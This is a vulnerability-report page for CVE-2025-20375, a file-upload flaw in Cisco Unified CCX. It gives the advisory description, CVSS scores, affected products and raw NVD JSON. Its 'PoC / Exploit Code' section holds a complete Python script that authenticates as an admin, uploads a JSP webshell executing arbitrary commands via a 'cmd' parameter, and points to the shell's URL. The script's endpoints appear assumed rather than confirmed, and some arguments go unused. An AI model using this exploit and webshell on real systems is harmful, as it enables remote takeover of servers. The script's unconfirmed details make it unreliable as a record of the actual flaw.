Security Vulnerability Report
中文
CVE-2025-20375 CVSS 6.5 MEDIUM

CVE-2025-20375

Published: 2025-11-05 17:15:39
Last Modified: 2025-11-17 19:40:23

Description

A vulnerability in the web UI of Cisco Unified CCX could allow an authenticated, remote attacker to upload and execute arbitrary files. This vulnerability is due to an insufficient input validation associated to specific UI features. An attacker could exploit this vulnerability by uploading a crafted file to the web UI. A successful exploit could allow the attacker to upload arbitrary files to a vulnerable system and execute them, gaining access to the underlying operating system. To exploit this vulnerability, the attacker must have valid administrative credentials.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:cisco:unified_contact_center_express:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:cisco:unified_contact_center_express:15.0:*:*:*:*:*:*:* - VULNERABLE
Cisco Unified CCX 所有未修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-20375 PoC - Cisco Unified CCX File Upload RCE Note: This PoC is for educational and authorized testing purposes only. Requires valid admin credentials. """ import requests import sys import argparse from urllib.parse import urljoin def exploit_cisco_ccx(target_url, username, password, lhost, lport): """ Exploit CVE-2025-20375: File upload vulnerability in Cisco Unified CCX Web UI Args: target_url: Base URL of Cisco Unified CCX (e.g., https://target:8443) username: Admin username password: Admin password lhost: Attacker listener IP lport: Attacker listener port """ session = requests.Session() # Step 1: Authentication login_url = urljoin(target_url, '/ccx-admin/') login_data = { 'j_username': username, 'j_password': password } print(f'[*] Authenticating to {login_url}') response = session.post(login_url, data=login_data, verify=False) if response.status_code != 200 and 'LoginError' in response.text: print('[-] Authentication failed!') return False print('[+] Authentication successful!') # Step 2: Upload malicious file via vulnerable endpoint upload_url = urljoin(target_url, '/ccx-admin/upload') # Generate JSP webshell payload payload = f''' <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); if(cmd != null) {{ Process p = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader( new InputStreamReader(p.getInputStream())); String line; while((line = br.readLine()) != null) {{ out.println(line); }} }} %> ''' files = { 'file': ('shell.jsp', payload, 'application/octet-stream') } print(f'[*] Uploading malicious JSP file to {upload_url}') response = session.post(upload_url, files=files, verify=False) if response.status_code == 200: print('[+] File uploaded successfully!') # Step 3: Execute the uploaded webshell shell_url = urljoin(target_url, '/ccx-admin/uploads/shell.jsp') print(f'[*] Accessing webshell at {shell_url}') print(f'[*] Example command: {shell_url}?cmd=whoami') return True else: print(f'[-] Upload failed with status code: {response.status_code}') return False if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-20375 PoC') parser.add_argument('-t', '--target', required=True, help='Target URL') parser.add_argument('-u', '--username', required=True, help='Admin username') parser.add_argument('-p', '--password', required=True, help='Admin password') args = parser.parse_args() exploit_cisco_ccx(args.target, args.username, args.password, '', '')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20375", "sourceIdentifier": "[email protected]", "published": "2025-11-05T17:15:38.723", "lastModified": "2025-11-17T19:40:23.360", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the web UI of Cisco Unified CCX could allow an authenticated, remote attacker to upload and execute arbitrary files.\r\n\r\nThis vulnerability is due to an insufficient input validation associated to specific UI features. An attacker could exploit this vulnerability by uploading a crafted file to the web UI. A successful exploit could allow the attacker to upload arbitrary files to a vulnerable system and execute them, gaining access to the underlying operating system. To exploit this vulnerability, the attacker must have valid administrative credentials."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cisco:unified_contact_center_express:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.5\\(1\\)_su03_es07", "matchCriteriaId": "6EF18C21-6E70-4748-99FA-884754F44D1A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cisco:unified_contact_center_express:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "124C88AE-ED0C-4CBC-A84D-200EDB776C8C"}]}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cc-mult-vuln-gK4TFXSn", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}